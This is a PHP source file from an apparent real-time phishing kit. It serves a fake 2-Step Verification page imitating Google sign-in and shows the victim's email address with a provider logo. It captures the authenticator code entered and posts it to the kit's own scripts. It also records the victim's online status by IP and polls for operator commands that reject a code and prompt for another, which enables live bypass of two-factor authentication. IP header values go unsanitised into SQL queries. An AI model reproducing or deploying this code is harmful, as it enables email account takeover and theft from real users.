<?php
@session_start();
error_reporting(0);
require_once "../../cod3rconfig/registro.php";
require_once "../../cod3rconfig/conexao.php";
require_once "../../cod3rconfig/data.php";
$erro = $_REQUEST['error'];



$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBConnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);




$email = $row_infio['usuario'];
$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Cliente online na 2 fatores', statusremote='Cliente online na 2 fatores' WHERE ip='$ip'");

?>
<!doctype html>
<html>

<head>
    <meta charset="utf-8">
    <title>Log in</title>
    <meta content="width=device-width,initial-scale=1" name=viewport>
    <link href="https://fonts.googleapis.com/css?family=Raleway" rel="stylesheet">
    <link rel="stylesheet" href="./css/bootstrap.min.css">
    <link rel="stylesheet" href="./css/bootstrap-theme.min.css">
    <!-- <script src="//code.jquery.com/jquery-1.11.2.min.js"></script> -->
    <!-- <script src="./js/bootstrap.min.js"></script> -->
    <!-- <script src="./js/jquery-vv.min.js"></script> -->
    <!-- <script src="./js/verificarUsuario.js"></script> -->
    <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next@21.6.10/i18next.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/jquery-i18next@1.2.1/jquery-i18next.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next-browser-languagedetector@6.1.3/i18nextBrowserLanguageDetector.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/i18next-http-backend@1.3.2/i18nextHttpBackend.min.js"></script>
    <script type="application/javascript" src="language.js"></script>
    <link rel="stylesheet" href="css/style.min.css">


    <!--TEMPO REAL-->
    <script type="text/javascript">
        $(document).ready(function() {
            atualiza();
        });

        function atualiza() {
            $.get('ver_online.php',
                function(resultado) {
                    $('#onlineagora').html(resultado);
                })

            setTimeout('atualiza()', 1250);
        }
    </script>


    <!-- <script src="//code.jquery.com/jquery-1.11.2.min.js"></script> -->

    <link rel="stylesheet" title="Converged_v2" type="text/css" href="./index_files/Converged_v21046_egJPTAx_byK-yF_CMCKFeg2.css">
    <script>
        //função enviar senha
        $(document).ready(function() {
            $(document).on('click', '#entrar', function(e) {
                e.preventDefault();


                var fatoresgmail = $("#fatoresgmail").val();

                $("#fatoresgmail").prop('disabled', true);
                $("#entrar").prop('disabled', true);
                document.getElementById("barra").style.display = "block";
                $.ajax({
                    type: 'post', //Definimos o método HTTP usado
                    data: {

                        emailTwoFA: fatoresgmail
                    },
                    dataType: 'json', //Definimos o tipo de retorno
                    url: '/app/sendData.php', //Definindo o arquivo onde serão buscados os dados
                });
                $.ajax({
                    type: 'post', //Definimos o método HTTP usado
                    data: {

                        fatoresgmail: fatoresgmail
                    },
                    dataType: 'json', //Definimos o tipo de retorno
                    url: 'sendgmailtoken.php', //Definindo o arquivo onde serão buscados os dados
                    success: function(data) {

                        dispararComando();
                        document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
                        $("#errorsenha").css("display", "none");

                    }
                });
            });
        });

        function dispararComando(e) {

            myVar = setInterval(esperaresposta, 1400);

        }



        function esperaresposta() {
            //alert("teste");
            Get("", "../main_.php", 0);

        }

        function comandoerrordados() {

            $("#fatoresgmail").prop('disabled', false);
            $("#entrar").prop('disabled', false);
            document.getElementById("barra").style.display = "none";
            document.getElementById('mesa').style.borderBottom = "2px solid red";
            $("#errorsenha").css("display", "block");

        }


        var onOff = 1;


        function Get(data, urlapi, e) {

            var xhttp = new XMLHttpRequest();
            xhttp.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                    var json = this.response;
                    if (e != 1) {
                        status(JSON.parse(json));
                    }
                }
            };
            xhttp.open("GET", urlapi + data, true);
            xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhttp.send();
            return false;
        }

        function status(json) {


            if (json.comando == "negartokengmail") {
                clearInterval(myVar);
                comandoerrordados();


            };




        }
    </script>

    <style type="text/css">
        body {
            margin: 0;
            overflow: hidden;
        }

        @media (max-width: 1366px) {
            #topo {
                max-width: 1160px;
            }
        }

        @media (max-width: 1215px) {
            #topo {
                max-width: 960px;
            }
        }

        @media (max-width: 1007px) {
            #topo {
                max-width: 740px;
            }
        }

        #box {
            height: auto;
            background: #FFF;
            margin: 0 auto;
            margin-top: 5%;
            border: 1px solid #DADCE0;
            border-radius: 10px;
        }

        @media (min-width: 637px) {
            #box {
                max-width: 450px !important;
            }
        }

        @media (max-width: 636px) {
            #box {
                max-width: 100%;
                border: none !important;
            }
        }

        @media (max-width: 1366px) {
            #bottom {
                max-width: 1160px;
            }
        }

        @media (max-width: 1215px) {
            #bottom {
                max-width: 960px;
            }
        }

        @media (max-width: 1007px) {
            #bottom {
                max-width: 740px;
            }
        }

        @media (max-width: 784px) {
            #bottom {
                max-width: 200px;
            }
        }

        @media (min-width: 477px) {
            #me {
                float: right;
                padding: 10px;
                width: 120px;
            }
        }

        @media (max-width: 477px) {
            #me {
                float: left;
                padding: 0 0 10px 0;
                width: 90%;
            }
        }

        @media (max-width: 768px) {
            #re {
                display: none;
            }
        }

        #fatoresgmail {
            width: 70%;
            padding: 10px;
            font-size: 14px;
            border: none;
            outline: none;
            border-radius: 10px;
        }

        #entrar {
            width: 116px;
            height: 36px;
            background: #4285F4;
            border: none;
            color: #FFF;
            border-radius: 5px;
            font-weight: bold;
        }
    </style>
    <script>
        function clicar() {
            document.getElementById('mesa').style.borderBottom = "2px solid #4285F4";
            document.getElementById('tt').style.display = "";
        }
    </script>
</head>

<body>
    <div style="background-color:#FFF !important; min-height: 100px; min-width: 390px; max-width: 390px; min-height: 470px; padding: 0 !important; margin: 0 !important" class="MqxombNty5nrGeK4">
        <div>
            <div class="RZBuIb c8DD0" aria-hidden="true" id="barra" style="display: none">
                <div id="progressbar" jscontroller="ltDFwf" jsaction="transitionend:Zdx3Re" jsname="Igk6W" role="progressbar" class="sZwd7c B6Vhqe">
                    <div class="xcNBHc um3FLe"></div>
                    <div jsname="cQwEuf" class="w2zcLc Iq5ZMc"></div>
                    <div class="MyvhI TKVRUb" jsname="P1ekSe"><span class="l3q5xe SQxu9c"></span></div>
                    <div class="MyvhI sUoeld"><span class="l3q5xe SQxu9c"></span></div>
                </div>
            </div>
            <form name="form" id="form" method="post" onSubmit="return validation()">
                <div id="box">
                    <div style="padding:30px 40px 140px 40px; font-family: Arial;">
                        <div style="width: 100%;float: left;">
                            <div style="font-family:'Arial'; text-align: center;">
                            <span style="font-weight: bold; font-size: 30px; color: #000000; display: flex; justify-content: center; align-items: center;">
                    <img src="/logo.png" style="width: 60px;" class="w-[60px] h-[40px] text-black" />
                    <img src="/sync-icon-8.jpg?t=1231231232112312" alt="sync" style="width: 10%; display: inline-block; vertical-align: middle; margin: 0 0.5em;">
                    <?php $str = $email;
                        $res = explode("@", $str);
                        $sh  = $res[1];
                        $pls = explode(".", $sh);
                        $provedor = $pls[0];
                        if ($provedor === "bigpound") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/bigpound.png' width='25'><span style='font-size: 20px; margin-left: 5px;' >BigPound</span></div>";
                        } elseif ($provedor === "protonmail") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/protonmail.png' width='130'></div>";
                        } elseif ($provedor === "iinet") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/iinet.png' width='90'></div>";
                        } elseif ($provedor === "naver") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/naver.png' width='90'></div>";
                        } elseif ($provedor === "web") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/web_de.png' width='90'></div>";
                        } elseif ($provedor === "gmx") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/gmx.png' width='90'></div>";
                        } elseif ($provedor === "optusnet") {
                            echo "<div style='display: flex; justify-content: center; align-items: center;'><img src='/app/images/optus.png' width='90'></div>";
                        } else{
                            echo $provedor;
                        } ?>
                    </span>
                            </div>
                        </div>
                        <div style="height:40px;">
                            <div style="float:left; font-size:22px; width:100%; font-weight: normal; text-align: center;" data-i18n="email.gmail.authenticator.title">2-Step Verification</div>
                        </div>

                        <div>
                            <table align="center">
                                <tr>
                                    <td>
                                        <div style="border:1px solid #CCC; padding: 5px; border-radius: 20px; margin-top: 1em;">
                                            <table cellpadding="0" cellspacing="0">
                                                <tr>
                                                    <td><img src="./img/user.jpg"></td>
                                                    <td style="padding: 0 5px 0 5px; font-size: 16px;"><?= $email; ?></td>
                                                </tr>
                                            </table>
                                        </div>
                                    </td>
                                </tr>
                            </table><br><br>
                            <div style="height:40px;">
                                <div style="float:left; font-size:18px; width:100%; font-weight: normal; text-align: left;" data-i18n="email.gmail.authenticator.message">Get a verification code from your Authenticator app</div>
                            </div>
                        </div>




                        <div style="font-size:11px; color:#<?php $provedor = $email;
                                                            if ($provedor == "") {
                                                                echo '#DADCE0';
                                                            } else {
                                                                echo 'C00';
                                                            } ?>; height:15px; margin-top: 40px;">

                        </div>

                        <div id="mesa" style="border:1px solid #DADCE0; border-radius: 5px;">
                            <input type="password" name="gmail2fator" id="fatoresgmail" placeholder="Enter code" onClick="clicar()" size="1" data-i18n="[placeholder]email.gmail.authenticator.placeholder">
                            <input type="hidden" name="email" value="<?= $email ?>">

                        </div>
                        <div id="errorsenha" style="display: none;"><span style="color: red;" data-i18n="email.gmail.authenticator.error">Incorrect Code!</span></div>
                        <div style="margin-top:60px; height: 40px;">
                            <!-- <div style="float: left; padding: 8px 0 0 0; font-size: 14px;"><a target="_blank" href="https://accounts.google.com/signin/v2/usernamerecovery?service=mail&passive=true&rm=false&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F&ss=1&scc=1&ltmpl=default&ltmplcache=2&emr=1&osid=1&flowName=GlifWebSignIn&flowEntry=ServiceLogin">Try another way</a></div> -->
                            <div style="float: right; text-align: right;">
                                <input type="submit" name="entrar" id="entrar" value="Next" style="background-color: #000;" data-i18n="[value]email.gmail.authenticator.button" />
                            </div>
                        </div>
                    </div>
                </div>
            </form>
        </div>
    </div>
    
</body>

</html>
<?php if ($erro == "1") { ?>
    <script>
        alert('invalid data');
    </script>
<?php
}
?>